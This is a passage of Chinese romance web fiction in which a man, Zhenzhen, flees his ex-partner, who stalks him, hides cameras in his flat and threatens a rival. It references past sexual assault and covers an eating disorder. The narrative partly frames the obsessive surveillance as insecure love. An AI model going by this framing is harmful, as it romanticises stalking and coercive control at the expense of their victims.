贺越邱既意外,又受伤:“这本来就是你的,不是‘我给你’。我是商人看重利益交换不假,可我从没想过要拿这些跟你做交易。我需要吗?我要怎么做才能向你证明我没有图谋不轨?” “你是贺总,当然不需要。你想要的,轻轻松松就能得到。” 甄甄略带讽刺地一笑,可他睫毛上还挂着眼泪,反而让这个表情看起来更像是他在自嘲,凭空多出几分可怜。 贺越邱心头发闷,急道:“你知道我不是这个意思!” “可我也不需要!到底还要我说几次,我不需要!!这个世界上有什么道理是你给我,我就必须要,就必须接受?我难道连拒绝的权利都没有了吗?!” 甄甄忽然提高音量,他激动道:“我不需要你迟来的撑腰,不需要你事后的补救,你觉得你自己真心真意,我只觉得假惺惺。” 贺越邱心里难受,忍不住低吼道:“那你想要什么!我给你,我都给你,只要你开口,这条命我都能给你!” “我难道没有说过想要什么吗?可你把它当过一回事吗?!我想要的你不给,我不想要的你强迫我接受,你和从前究竟有什么区别?你从来就没有变过!” 难道给独断专权披上一层和颜悦色的糖衣就能改变本质吗?难道贺越邱有权有势,他失恋遭受的痛苦就比他一个孤儿更有分量吗?这算什么?是他不识好歹,不辨是非,矫情拿乔吗?是伤害过他后,再给点好处,他就应该赶紧重新投入加害者的怀抱?! 甄甄又恨,又气,又委屈,又感觉到深深的不公平,他哭得很急,抓起那些照片,用力撕了个粉碎,狠狠地扔在贺越邱脸上。 “别再跟踪我,别再插手我的生活,我过得好与不好,都跟你没关系了!” 贺越邱坐着不动,甄甄便扑上去,推搡他、拖拽他,最后累得自己气喘吁吁,坐在地上,用手腕擦着眼泪。 “你,滚,别让我再看到你!” 贺越邱表面上还算是平静,可心脏早就痛得揪成一团了,他不舍地盯着甄甄,边走,边说:“你好好休息,过几天,我再来看你。” 甄甄只觉得绝望。 他鲜少像这样坐在地上哭,好像完全回到了还是小孩子、被欺负了也没处可去的时候。 哭累了他又捡起那些照片,顶着红肿的眼睛,一张张黏好,到楼顶开阔的地方,全都烧掉了。 晚上风很大,卷着灰烬飞上乌蓝的夜空,慰藉父母的在天之灵。 他跟爸爸妈妈说了对不起,他可怜的自尊心让他无法接受靠贺越邱才拿回来的房子,也不想要再回到那个只有痛苦和伤心的地方。 第二天,甄甄给阿曼达打了电话,向她道歉。他不能再租这套公寓了。 阿曼达没有怪他,还帮忙联系了另一套朋友的房子。 但甄甄觉得一直麻烦阿曼达很过意不去,而且他怕换了房子后要是很快又被贺越邱找到,那他就要继续搬家,频繁的租房退租也会打扰到阿曼达的朋友。 戴维帮甄甄一起找合适的租房,两个人挑了几天,最后定了一套城郊的一居室。 甄甄短时间内没有办法再进行模特的工作,那就没必要为了离星火近而花费高昂的房租,能省一点是一点。 身边的人除了戴维之外,连方寸行都不清楚甄甄的新住处在哪,保密程度也不算低了。虽然他对此没有抱太大的希望,但只要能多清净一会儿就算一会儿。 搬家的过程中,甄甄也哭过,后悔当初为什么遇见了贺越邱,为什么要把身心都交付给他,最后把自己弄得这么狼狈。 可哭得多了,又想通了一些,后悔也没有用,像阿曼达说的那样,谁年轻的时候还没失过恋呢。他现在就是在一个会为了爱情丢掉智商的年纪,他拉着戴维在夏天傍晚的大街上喝醉了哭着唱孤独万岁失恋无罪,也没有人会嘲笑他,这是他的权利。 反正年轻人宝贵的时间总会浪费在各种各样的事情上,就当他是一个懦弱的逃兵吧,他活到这么大,就谈过一次恋爱。而这一次恋爱,几乎就要了他半条命,那就让他再多逃避几天。 搬完家第三天,甄甄从宿醉中醒过来,脑袋还有点懵。 他喝了点温水,肚子不饿,但看着外面霞光满天,街边的积水倒映着槐树,行人熙熙攘攘,突然就生出一股想出门的冲动。 他很快就洗漱完,穿了一双白色短筒雨靴,一出门就被拥入夏夜的晚风里。 住在城郊的人群以想省房租的上班族为主,这会儿是晚高峰,路两边都挤满了人,一些小摊贩也在叫卖。 甄甄对那些小吃摊没兴趣,他多走了两步,地铁口有几个大爷大妈摆着一排笼子,一些小串串奶猫奶狗趴在笼子上蜷成一团睡觉,周围有几个小孩拽着大人的手想买。 他脚步放慢,眼神扫过那些小猫小狗时,流露出复杂的情绪。 这些小东西不知道是哪里繁育出来的,大多就刚满月,十几只混养在一个笼子里,吃的也是些垃圾粮,就算买回去,往往也活不了多久。 但不买回去,成天被摆在人来人往的地方,日晒雨淋,声音嘈杂,很容易就应激了,没两天也会死。 更不能全部买下来,知道有人要之后,第二天这种宠物摊的数量会翻一倍。 甄甄每次在商场,或者这种广场上看到,都会难受好一阵子。 他又想起那只小三花,从贺越邱那里搬走后,保安没有给他发过消息,不知道它的小猫会不会也被抓走拿来贩卖。 甄甄闷闷不乐地转身往回走,路上碰见一只流浪小橘,舔着爪子,一路跟着他。 甄甄心情又好了点儿,到便利店买了个罐头,开来给它吃,抚摸着它有点脏的毛发。 等它吃完,拎起命运的后颈,带去宠物医院,噶了。 盯着小橘麻药中吐出来的舌头和旁边的蛋蛋,甄甄突然找到事干,办了张宠物医院vip年卡,凭一己之力,把小区里流浪的十几只流浪猫,不分公母,全部绝育了。 尤其是公猫,见一个嘎一个,见一对嘎一双,嘎到小区物业代表全体居民给他送来锦旗,表彰他为夜间居民睡眠质量做出的卓越贡献。 但这么多恢复期公公们的安置成了问题,宠物医院毕竟要正常营业,笼位有限。 甄甄数着银行卡余额,犹豫是把它们送去之前贺越邱买下来的救助基地,还是自己租个小院。 他头天晚上刚和戴维打电话聊过这件事,第二天,他的账户上就多出来一百万—— 作者有话说:野牛还在持续作死,马上就要迎来命运的审判了[笑哭] 第49章 第 49 章 “甄甄……你打我?”…… 甄甄愣愣地看着那一串数字。 不知道这样呆坐了多久之后, 他突然起身,冲到窗边把帘子拉得严严实实,瞬息之间, 原本还亮堂的客厅里一丝光都照不进来。 明明是青天白日, 甄甄却陷在一片冰冷的黑暗之中, 无力地跌坐在瓷砖上, 裹在窗帘布里瑟瑟发抖。 他几乎不用怀疑, 就能够确定那笔钱是谁打进来的,贺越邱又追过来了,这才几天,他就找到了自己的新住处。 他忽然又猛地抬起头, 瞪大一双琥珀色的眼睛, 在黑漆漆的房间里逡巡着, 试图找出来那个在暗中窥视着自己的东西。 在哪?他一定是趁自己不在的时候偷偷装了监控, 可是为什么找不到?到底藏在哪里?! 手机里有监/听/软/件?还是哪个角落里有隐形摄像头? 在哪?在哪? 一瞬间,甄甄只觉得天旋地转,好像四面八方有着无数双眼睛正一动不动地盯着他, 不管他说什么、做什么,都被诚实且沉默地记录下来, 没有一丝一毫的隐私。 这让他又联想到那一晚闪烁着红灯的摄影机,不,不对, 岂止是一晚, 多少个夜晚,他被摆出各种各样羞耻的动作,做出痛苦而又意乱情迷的表情,甚至连泄露出去的几声哼吟都…… 甄甄痛苦地闭上眼, 那随着颠簸起伏的镜头,逐渐替代成贺越邱的脸。他看进他的眼底,努力地找,也找不出一丝爱意,他只能看到一具被赏玩的纤细苍白不堪的身体。 他再一睁眼,惊恐地叫出声——那具身体怎么和他又有一模一样的脸。 怎么能那样淫/荡,张合着湿润水红的唇瓣,吐出声声欢愉…… 甄甄拼尽全力地想要把那些画面赶出脑海,但耳边却一遍又一遍地回荡着贺越邱强迫他时恶意的羞辱,他尖叫起来,手边有什么东西就通通扫到地上,连花瓶也全都摔了个稀巴烂,锋利的瓷片迸溅一地,飞过他的小腿时也划开了几条线似的极细极细的口子,渗出一丝血色。 扔在茶几上的手机同样被甩飞出去,急切地响着电话铃声,甄甄一通发泄累了,直接瘫在地上,压抑地抽泣起来。 他一直不接电话,十几分钟后,门被拍得哐哐作响。见里面的人没回应,直接一脚踹开破门而入。 贺越邱根本不看地上的碎瓷片,火急火燎地冲到甄甄面前,抓起他的手查看,又到处找他身上的伤口:“怎么突然这么生气?哪里伤到没有?” 甄甄慢慢抬起头,眼睛猩红带泪,被苍白的肤色一衬,更是显出几分惊心,贺越邱动作慢下来。 “你……” 他刚张口,突然一个耳光甩过来,“啪”地一声,室内安静许久。 贺越邱被打得偏过头,缓缓地,缓缓地回正,颤动的瞳孔中带着一丝不可置信,更多的是茫然:“……你打我?” 甄甄不知哪里爆发出的力气,一把推开他,尖声道:“你到底想干什么!你为什么就是不能放过我?为什么?!” “你打我?!” 贺越邱往后倒,手撑在地上时,被碎瓷片插进去,血很快就流了一手,却感受不到半分疼痛,整个人都是麻木的,只有那半边脸上,还传来着火辣辣的痛觉。 贺越邱长到这么大,除了幼时把贺过岭烫伤那一次被贺父甩过一巴掌,还从来没有人动手打过他,更不要说打在脸上,几乎立刻就本能地生起怒火。 甄甄被鲜红的颜色刺激,瞳孔一缩,害怕地要逃走,但被贺越邱一把拽住,拦腰抱到卧室。 相似的画面令他彻底崩溃,拼命地挣扎,胡乱踢蹬着贺越邱,同时爆发出凄厉绝望的尖叫,喊醒了男人,把他放回床上后,就退出去半米。 垂在腿侧的手颤抖着,鲜血顺着指尖在地上滴出一小滩,贺越邱垂眸看着,心里痛得厉害,但比任何一刻都更清醒。 那一晚的噩梦,绝对不能再发生第二次。 他的心底,有这么一个声音,一直在嘶吼着提醒。 甄甄却不会因为他的后退而安心,仍旧剧烈地颤抖着,一被放下就受惊地往后躲,一直到后背抵上两面墙,退无可退后,又把自己抱成刺猬似的一团,失焦地盯着自己发抖的脚背,哭得泣不成声。 贺越邱看着这样的一幕,心脏就像被人狠狠攥在手里,拿生锈的刀一寸寸割下来,痛得根本没办法呼吸。 他想要劝甄甄冷静一些,可一开口,声音嘶哑得连他自己都不愿意听,而且因为心痛,断断续续的,只能一句一句往外硬挤。 “别……怕。我不会伤害你。” “甄甄……甄甄……” “为什么……你打我?” 能够回应贺越邱的只有甄甄失控的哭声,他显然因为他的接触又陷入应激状态,害怕他再一次不管不顾的暴力侵犯。 贺越邱多想告诉甄甄那样的事不会再发生,他只想好好地疼爱他呵护他,可那双泪水不断的眼睛里只有恐惧、害怕、惊慌,再也没有了看向他时全然的依赖与爱意。 拥有时贺越邱无知无觉,他总被这样的眼神看着,也理所当然地以为永远都会被这样看着,就像人需要喝水,需要空气。但真的失去后,他才开始惶恐,他心底一块很重要的地方被谁硬生生剜去了。 他好像直到此刻才察觉到,他失去了很珍贵的东西。 贺越邱握紧拳头,他不想离开,可只要他还在这里,甄甄就会失控,他一看到他那么惊慌失措到处躲藏的样子,胸口就又痛又闷,憋得他不知道该怎么办才好。 他也不懂,他已经很克制,很压抑自己的情感了,一连快两个月,不是到实在憋不下去的时候,他都不敢来见甄甄,只能退而求其次,在监控画面里贪婪地见他一面,难道他还不够远离还不够放手吗? 贺越邱冲掉手心的血,忍着疼痛,把客厅里收拾干净,连花瓶碎片都用透明胶带缠了,就怕还剩了一块两块藏在哪里,被甄甄不小心踩到把他的脚割伤。 还好他租了这附近的房子,还好当时他正在居家办公,还好他抽空看了一眼监控画面,及时发现了甄甄情绪失控,赶来处理,否则他不敢想那一地的碎片,要是甄甄恍惚间没站稳,那该…… 贺越邱闭了闭眼,不再去想。 他走进卧室,甄甄还蜷缩在墙角,脸颊上挂着没干的泪痕。一看到他来,红肿的眼睛里便爆发出一股浓烈的恨意,恶声道:“你还不滚!我说了不想看见你!” 贺越邱强忍心痛,说:“我马上就会走。我再看一眼你,我……好想你。” 他说着,还是没有忍住,声音有些哽咽:“我真的很想你,你要怎么才能原谅我,我觉得我真的快要忍不下去了。” 甄甄却像是听见什么可怕的话一样,眼睛不自觉地睁大,摇着头喃喃道:“不……我不会原谅你……永远也不会。” 他顿了顿,又似乎恢复了清明,满眼泪水地看向贺越邱,带着几分走投无路的恳求:“我也问你,贺越邱,你到底要怎么才肯放过我?你把我推给方寸行的时候不是那么大方吗?现在怎么就不肯放我自由?你步步紧逼,我就要狼狈地到处搬家,你把我逼得难道还不够吗?为什么还要一直纠缠,你放过我行不行?” 如今即便旧事重提,贺越邱也能够保持冷静,平静而决绝地说:“我什么都可以答应你,唯独这个,绝不可能。甄甄,我说过的,无论你跑到哪里,我都会追着你。” 他就只差说,无论生死,做人做鬼,生生世世,他都要缠着他,永远别想要摆脱他。 “我们分手了!!你听不懂吗?!别再缠着我!!” “我没有同意过。” 甄甄绝望地嚎啕大哭,口不择言地乱骂着贺越邱,说得最多的一个字就是让他滚。 贺越邱恋恋不舍地带着垃圾离开了,他不想走,可再不走,甄甄的情绪又会失控,他不想把他逼得太紧。 但让他放手,他死也做不到。 贺越邱一走,甄甄就发疯般把出租屋砸得稀巴烂,他找不到监控,又一股气发不出来,再找不到出口宣泄,他怕他真的会被贺越邱的控制欲逼得发疯。 为什么?为什么要这样对他?他究竟做错了什么,招惹来这么一个疯子! 疯子疯子疯子,贺越邱就是一个彻头彻尾的疯子! 甄甄现在才发现他从来就没有了解过贺越邱,这个曾经他最爱的最亲密的枕边人,在撕下那层伪装后,他才发现,他陌生得让人害怕,让人只想远远地逃离。 甄甄擦干眼泪,连戴维都来不及通知,当面去找了房东,把自己造成的损失全部折算成现金,只带了几件衣服,连夜住进酒店里。 他暂时不搬家了,酒店方便随时更换,如果贺越邱又找到他,那他就马上走。 至于那些绝育的流浪猫狗,甄甄联系了一家救助站,在赞助了一批猫粮后,把它们都安顿妥当了。 他忙完回酒店,刷房卡时,看到隔壁房间门开着,里面是保洁阿姨。 她正好拎着桶和拖把出来,看见甄甄,热情地打了声招呼。 甄甄就也顺口提了一句,“有人退房吗?” 保洁阿姨笑道:“对啊,下午有个姓贺的先生定了这间房,我要把房间打扫出来。” 听到那个“贺”字,甄甄的脑袋嗡一声,猛地抓紧了门把手,差点就摔下去。 他眼前一阵阵发黑,不知道要怎么做,才能甩掉贺越邱这道纠缠不清的黑影。 第50章 第 50 章 贺越邱低吼道:“方寸行…… 保洁阿姨拎着拖把和桶前脚刚走, 甄甄后脚就办理了退房手续。 他拖着行李箱走在北京的仲夏夜里,街道两边的熙熙攘攘和人声鼎沸都与他没关系,但躲在茫茫人海里的感觉却让他比待在清净的地方更加安心。 他不相信在几千几万人的背影里, 贺越邱还能一眼就找到他。 有时候走到一半, 甄甄会突然停下来, 然后抬起头, 茫然地看着周围极速变化的风景, 想自己到底要去哪儿,想这个世界上有这么多人,为什么贺越邱偏偏就是不放过他,偏偏就是要只祸害他一个人。 甄甄走累了, 就在广场的石墩子上坐下, 马路边的热浪滚滚而来, 犹如贺越邱恐怖的掌控欲, 令他无处可逃。 直到后半夜,人流量骤减,凉意也开始上来, 甄甄才起身。他本来想去戴维那里,可转念一想, 又拦下出租车,报了方寸行小区的名字。 戴维是无辜的,要找事, 得冲着不无辜的人去。 凌晨两点, 方寸行刚忙完到家,洗漱完正准备睡下,贺越邱给他打来电话,他看都没看, 直接挂断了。 刚睡着,又被电话声吵醒,接起来正想阴阳怪气几句,听到那头熟悉而又意外的声音后,整个人都怔住了,反应过来后,立刻起床换好衣服,匆匆赶到楼下接人。 “这么晚,你怎么来了?” 一周多没见,甄甄又消瘦了些,夜风吹过,藏在白衬衫里的腰身细得不足一握,只有那双浅色的眼睛,在藏蓝的夜幕下仍旧亮得惊人。 方寸行看到他第一眼就入了神。 甄甄攥紧了行李箱拉杆,呛回去:“你的好兄弟死缠烂打,害得我没地方可去。我跟他分手和你也脱不了干系,难道你不应该负责吗?” 说完把行李箱往他手里一塞,一副“你看着办吧”,让方寸行结结实实地愣了好一会儿。 但他并不反感甄甄的突然到访,甚至……还多出几分隐秘的暗喜。 他在医院那次谈话之后就做下决定,会将自己的心意藏好,绝对不再给甄甄带来任何麻烦。从那之后,他便主动退出了甄甄的视线,如果不是实在需要,绝不会出现在他面前。 而如今,这个人就这样活色生香地站在一起面前,叫他怎么能不惊喜。 方寸行一向稳重,如今在这种小得算不上是事的小事上,竟有些紧张,攥着拉杆的手掌微微出汗。 他们进了电梯,方寸行忍不住透过倒影观察自己的着装,有些太随意了,会不会让甄甄误以为他平时很邋遢,不修边幅?早知道当时应该再挑一套更时尚的搭配,让他知道自己平时除了在公司时的一板一眼,也有私底下休闲会打扮的一面。 但余光瞥过去时,注意到甄甄憔悴的神色,又反思怎么出门前耽误了那么久,他这些天一直被贺越邱纠缠,肯定没休息好,自己居然让他在楼下等了好几分钟。 方寸行越想越觉得自己哪里都没表现好,不免有几分沮丧,但转念一想,星火里和甄甄关系最好的是戴维,其次是阿曼达,而甄甄在这种情况下选择的是他,是否又说明,即便讨厌他,潜意识里也认为他是可靠的。 方寸行时而皱眉,时而舒展,甄甄余光一瞥,觉得自从时装周之后,这人就跟中了邪一样。 一想起时装周,又不可避免地想到那晚他突然的告白和随后而至的真相,以至于…… 甄甄心口一痛,紧紧地咬住下唇,不愿再往下想了。 方寸行趁甄甄去洗澡的功夫,麻利地收拾出一间客房,安顿他睡下,又去把换下来的衣服扔进洗衣机,一通忙完,已经是凌晨四点。 他白天在公司连轴转十几个小时,头都熬痛了,被手机吵醒时本来有一肚子火想发,这会儿却一点不累,躺在床上一想到隔壁是谁,就精神得睡不着觉。 他现在都觉得就像场梦,嘴角微微往上扬,心说,这要真是梦,那他不想醒了。 突然外面响起一阵急促的拍门声,方寸行立刻警觉地坐起来,他就只等了这么半分钟,那道拍门的声音安静会儿后,“砰”、“砰”,竟变本加厉,开始踢门。 方寸行脸色一变,马上下床,先轻手轻脚地走到隔壁房间,推开一条门缝,看甄甄缩在被子里静静安睡,没有被吵醒,才松了口气。 他关上门,转过身时,原来带着点温情的眼神一瞬间冷下来,径直走到玄关处,把智能屏打开,不出意外地看见了满脸暴怒的贺越邱。 “贺总深更半夜不睡觉,跑到我家里来做什么?” 方寸行越是轻描淡写,贺越邱就越是控制不住想要一拳砸烂这智能门锁的冲动,低吼道:“开门!””贺总觉得,我敢放你进来吗?“ “你少在这里装!你不敢?你他妈都敢留我的人在家里过夜了,你还有什么不敢的?!” 方寸行似乎觉得很好笑:“首先,你们已经分手了,无论从什么方面上讲,甄甄都不能算是‘你的人’,所以你也无权过问他的去留;其次,他虽然辞掉了秘书处的工作,但他模特的经纪约还在星火,我们隶属于上下级关系,作为上司,我收留一下无家可归的员工,不管怎么看都无从指摘。” 他顿了顿,勾起一个礼貌而又克制的微笑:“最后,这不是贺总曾经最想看到的画面吗?我以为你会很乐意我照顾你的前男友,毕竟你曾经亲自给我们创造过很多次机会。” 他特意在“前男友”这三个字上读重,气得贺越邱挥起拳头就砸在屏幕上,“滋啦”几声把液晶屏砸得四分五裂。 但这玩意儿质量挺好的,屏幕都碎了几块,都还能保证沟通功能。方寸行不急不恼,笑道:“贺总,当心手,别受伤了。” “方!寸!行!”贺越邱急促地喘着粗气,像一头被激怒到发狂的野兽,马上就要冲进来咬断猎物的脖子,他死死地咬紧了牙关,一字一句道,“你,找,死。” 方寸行比谁都清楚激怒贺越邱的后果,何况他的事业处处还要依仗他,和他对上并不是什么明智之举。可在这件事上,他不想理智,不想冷静,不想做一个无能的智者,哪怕明知是以卵击石,他都要把甄甄护在自己身后。 他这辈子做过最后悔的事,就是那天晚上说出真相,又没有保护好甄甄,让他遭遇了那么可怕的事。如果贺越邱是罪魁祸首,那他就是头号帮凶,现在赎罪还来不及,又怎么可能再眼睁睁地看着贺越邱继续伤害他。 “贺总,我奉劝你一句,不要再继续纠缠甄甄。你打着喜欢的旗号继续步步紧逼,只会把他逼上绝路,难道要到那一天你才会真的后悔?” 贺越邱哪里还听得进方寸行的话,以后会不会后悔他不知道,他只知道,他现在就后悔,悔得肠子都青了,他恨不得时间能倒流,在甄甄第一次见到方寸行之前,就把这个混蛋掐死,以绝后患! “你少在这里危言耸听!我和甄甄之间是好是坏,那都是我们两个人的事,跟你有什么关系,轮得到你一个局外人在这里指手画脚?要还想保住你那破公司,就识相点,立刻把门给我打开,让我进去,否则把我逼急了会做出什么事来,那我可就不保证了!” 方寸行为人处世再有分寸,他也是个男人,接受不了贺越邱接二连三地挑衅,闻言冷笑道:“贺越邱,你这个人真够矛盾的,以前处处给我制造机会,我不上套你就不罢休,现在我遂你的心愿了,你又冲到我家里来威胁。就像你一面恨你父亲和继母,一面又攥着贺氏集团不肯放手,把你母亲的劣根性继承了个百分百。” 贺越邱吼道:“闭嘴!” 方寸行充耳未闻,继续在他的伤口上撒盐:“你总是一副谁都对不起你愤世嫉俗的样子,受了一点委屈就恨不得昭告天下,可你却从来没想过,甄甄从小吃的苦、受的委屈,比你多上几百倍!你最惨的时候不过就是犯错了被你父亲扔去美国留学,那个时候甄甄在做什么?他失去了疼爱他的亲生父母,在一家子禽兽手里努力求生,留学?呵,要不是太小赚不了钱,他恐怕早就被赶出去了!” “你告诉我,你到底有什么资格在这里愤愤不平,又凭什么指责我没资格指手画脚?真正伤害甄甄的人是你,欺骗他感情的人也是你,你才是最没资格再见到他的那一个!如果你真的如你所言还爱甄甄,那就请你尊重他,不要再出现在他面前!” 方寸行的每一句话都犹如淬毒的利箭,精准地射进贺越邱的软肋,他又急又痛,眼球逼出根根血丝,凶狠地盯住摄像孔,表情扭曲又恐怖地说:“不、可、能。” “只要我还有一口气,我就不会放手,甄甄是我的,只能是我的,你敢碰他,我一定会杀了你!””我拭目以待。“—— 作者有话说:我记得有人也说过这句拭目以待啊[竖耳兔头] 50-60 第51章 第 51 章 “聊你哥,行吗?”…… 贺越邱最终还是没有破门而入, 他倒不是忌惮方寸行,只是稍微冷静点后想到甄甄还在他家里,要是真的不管不顾硬闯, 肯定又会吓到他, 就歇了这个心思。 反正人在这, 又跑不掉。等到他消了气, 没那么抗拒自己了, 到时再过来,说不准就让自己进门了。 只是走之前,再次警告了方寸行:“你敢动他一根手指头,我一定不会放过你。” 方寸行不置可否, 一直等贺越邱离开, 才松了那口气。但一转身, 就看到甄甄无声无息地站在他背后, 尖细苍白的一张小脸,眼睛又是那么大,那副游移恍然的样子, 还真像灵异里的漂亮女鬼。 他愣了下:“你不是……” “早就醒了。” “那你都听到了?” 甄甄低下头,淡淡地嗯了一声。 方寸行看着他雪白的后颈, 心里头一股说不出的滋味,安慰道:“你放心住在我这里,他不敢乱来的。” 方寸行接了一杯温水递给甄甄:“你最近都没休息好, 再去睡会儿吧。” 甄甄拿着水杯, 没有喝,只是说睡不着。 方寸行扫过他略带憔悴的眼底,再结合贺越邱刚刚那股疯劲,不难想到他这些天都是如何提心吊胆, 有些自嘲地笑了声,心道也是,你要不是被他逼得没办法了,也不可能来找我的。 “你这样多久了?” “从医院之后吧。” “佳航说,你的厌食症也越来越严重了。“方寸行斟酌着,小心地劝道,”一直拖着不是办法,明天我陪你去医院看看医生吧。只是一段失败的恋爱而已,你人还这么年轻,以后多得是能遇见更好的人,别因为这个把身体耽误了。” 甄甄低着眉眼,看手心里被水杯放大的纹路,觉得这样的氛围有些奇怪,一个曾经直言不讳认为他没有工作能力的严厉上司,现在却温声细语地安慰他,还替他挡下死缠烂打的前任。而以前对自己宠爱有加的爱人,如今完全变了一个人,穷凶极恶地追着他不放。 这感觉真奇妙。 他轻轻点了点头。 这是方寸行递给他的第二杯水。 方寸行也盯着那杯水,忽然之间,他觉得他好像是在透过一扇透明的窗户,看到了一颗纤细敏感的水晶心脏,干干净净的,很好认清。 原来贺越邱说得没错。 甄甄比起人,的确是更像是一只天真无邪的小狗。 他需要关心,需要爱护,一旦感受到,就会主动摇起尾巴,衔来小花小草小虫子,邀请释放了善意的人类同自己一起来玩。 哪怕这个人之前还凶过他。他不记仇。 甄甄放下水杯,准备回房间了,余光看到方寸行愉悦地勾着唇角,似乎很高兴,心头生起一个不明所以的问号。 方寸行临时推掉了一个会,开车带甄甄到医院挂号做检查,他忙上忙下地取报告单时,甄甄正在门诊室里和一身白大褂的贺过岭大眼瞪小眼。 “我的老师出去查房了,让我临时顶一下班,要不要先尝试着信任下青年主治医师的医术?” “嗯……也行。” 看在好朋友珍珍的份上,甄甄为难地憋回去“庸医”两个字。 人仗狗势的贺过岭自觉把珍珍从休息室请出来,他们好久不见,小狗立刻热情地扑到甄甄怀里,伸出舌头舔舐着他瘦削的下巴。 贺过岭笑道:“你再瘦一点儿,它就不敢再舔了。” 甄甄抚摸着小狗柔软雪白的毛发:“为什么?” “你刀削般的下颌线会割伤它的舌头。” “……”沉默一刻后,甄甄由衷道:“你把空调关了吧。” 这回轮到贺过岭问了:“天这么热,不开空调吗?” 甄甄如实道:“有你的冷笑话就够了。” 贺过岭忍俊不禁,在他的病历档案里敲下几个字。 “心理状态比我预期恢复得要好,但你的进食障碍没有得到改善,还多出来睡眠问题。我建议住院观察一段时间,补一些营养针,同时多做一些心理疏导。继续放任不管的话,你的身体免疫力会很差,而且后期针对你的进食障碍的医疗介入可能会让你无法接受。” 甄甄抚摸小狗的动作停了一下,低下头:“我觉得不用……我心里有数,还没这么严重。” “你不是很想讨论这个问题。那我们可以聊点其他的,不用紧张,聊什么都可以。” 甄甄的视线聚焦在贺过岭胸前的工作牌上,看着他与贺越邱相似的姓名与相貌,一个冲动,就促使他问了出来:“聊你哥——行吗?” 贺过岭愣了下,点头微笑:“当然可以。你别紧张,虽然他自觉和我水火不容,但我其实是以平常心对待我们间的兄弟关系的。而且你的病因他而起,实际上正应该聊一聊你们之间的事,把疙瘩解开,兴许你就想通了。” 话刚说完时,甄甄有点后悔,他并不太想提起来贺越邱,尤其是在一个和他长得这么像、有着血缘关系的人面前。可经历过分手这遭,他才骤然察觉自己其实并不了解这个朝夕相处四年多的人,现在再回头细想,许多细节早就初见端倪,只是过往有一层爱的滤镜蒙住了他的眼睛,让他很多时候都下意识地忽略了许多问题。 就比如每次闹分手时,他一跑出去,不管是借住在朋友家,还是酒店开房间,贺越邱总是能当天晚上就找到他,带着鲜花礼物甜言蜜语来把他哄回去。热恋时甄甄觉得这是贺越邱在乎他、离不开他的表现,总是为此感觉到甜蜜。可当他是真的想走却走不掉时,才后知后觉地发现,他以为的每次吵架离家出走贺越邱会着急地找很久,其实都是贺越邱特意留出来的一个让他冷静的时间,他一直都知道他躲去了哪里,不管是以前还是现在。 区别只是以前的耐心只有几个小时,而现在或许是怕逼得太紧会适得其反,不得不延长了时间。 可说到底,贺越邱从始至终,就没想过真的要放他自由。 贺过岭抽出几张纸,递给甄甄:“如果没办法继续,也不用勉强自己。我们可以不停换新的话题,直到聊到你感兴趣的为止。” 甄甄没有要纸,随便抹了两下,在贺过岭看来,就像洗脸很潦草的小猫一样。 他吸吸鼻子,用小狗把手背上的眼泪擦干,把对贺越邱困惑不解的部分,详细地向贺过岭描述了一遍。 年轻医生耐心地做着一个安静的倾听者,一口气把压在心底的话都说完后,甄甄明显轻松了许多。 他最后谨慎地总结道:“我怀疑贺越邱是一个有绿帽癖的变态,他不顾我的个人意愿,背地里开设账号,向陌生网友分享我们之间的恋爱细节;这种隔靴搔痒的行为或许让他不够满足,又试图把他的朋友拉下水,制造我出轨的机会。我实在想不通一个正常人怎么会对恋人做出这种事,这不仅仅只是简单的欺骗,他打心底就不尊重我,这种畸形的恋情我无法接受。” “你私底下查阅过相关资料,或者是通过咨询网友得出的这个结论吗?” 甄甄耳朵红了一点,他到底还是没办法坦然讨论这种过分私密的话题,声音也小下去:“那段时间我一边哭一边上网查。” 贺过岭却给出来一个出乎意料地结果:“可我的观点和你恰恰相反,我不认为我哥的这种行为是绿帽倾向。” 甄甄睁圆眼,不由自主道:“他不是?这不可能!他明明……” 贺过岭安抚道:“不要着急,我们一条一条分析。首先,绿帽僻的成因比较复杂,它在心理学上被称为性喜好症,通常一些生理功能障碍的男性患者比较容易有这种倾向,源自于他们在生理失能后在亲密关系中失权而产生的控制欲。通俗点说就是,阳/痿/男最容易幻想配偶是否会因不被满足而出轨,其次性格自卑的人、社会地位不高的人也比较容易有这种心理——我哥性功能正常吗?他私底下是比较自卑的性格吗?” 贺过岭说话慢条斯理,甄甄却听得羞耻。他想他是不是疯了,居然在这里和前男友的弟弟探讨前男友到底有什么特殊性癖好,偏偏贺过岭看起来那么正经,只是在履行一个医生该履行的职责,逼得他也没办法,只能硬着头皮说:“正、正常。自卑……你觉得贺越邱看起来像自卑的人吗……” “你们以前的性生活和谐吗?” 甄甄被逼得欲哭无泪,脸颊烧得滚烫:“和谐……” “嗯,我想也是。” “你不准想!” 看着羞耻得头顶要冒烟的甄甄,贺过岭轻轻勾起唇角:“这是治疗中必要的沟通。” 甄甄红着脸等那股臊劲下去后,才勉强能再开口:“他要不是绿帽癖,那他能是什么?” “我的结论可能和你的认为有很大差异。” “啊?” “缺乏安全感导致的过度控制欲。” 甄甄愣住,连小狗都不摸了。 贺过岭推了下眼镜,无奈道:“很多时候不能仅仅从表面去草率地断定,我认为我哥不太具备绿帽癖的一些基本要素。如你描述可见,比起想让你出轨,他更怕你出轨。无论是那个隐瞒你创建的账号,还是放纵好友的接近,或者是日常一些类似的事件中,比起观察‘假想第三者’的反应,臆想他们如何玩弄自己的配偶,他更在乎你的表现。” 贺过岭说着,有些迟疑,像是也不太相信:“结合我哥童年可能会受到的创伤来看,他似乎……是在反复地验证你是否会出轨。再深入一点讲,就是他害怕且不希望你离开他,所以通过这种方式,在你身上找到一种永远不会被背叛的安全感。”—— 作者有话说:不是绿帽癖,其实野牛内心深处就是没安全感,不管是他看到他妈妈为了他爸疯成那样,还是重组家庭后从小都会被要求分享,要求承担起作为兄长的职责,在他心里至亲都是会背叛他的,没有任何东西能够真正的永远拥有,但他后面遇到甄甄,这种需求投射到甄甄身上,他希望甄甄是独属于自己的,永远不会离开他,类似于恶龙唯一的珍宝,失去后就会发大疯。 现在甄甄知道了他的小九九,所以后面就会利用这个心理,狠狠地把野牛捅一刀,并且是利用他最讨厌的贺过岭,伤得狠了他才怕了,才知道甄甄是来真的,写得快可能就下章 第52章 第 52 章 “我不可以吗?” 甄甄眼中只有错愕。 他怎么也想不到, 贺过岭会给出这样一个答案。 贺过岭同样轻轻地叹了口气:“和绿帽癖比起来,这或许听着更能让人接受一些,但归根结底都是不太正常的心理偏向。无论如何, 你都是无辜的, 我哥不应该将自己过强的控制欲释放在你身上。” 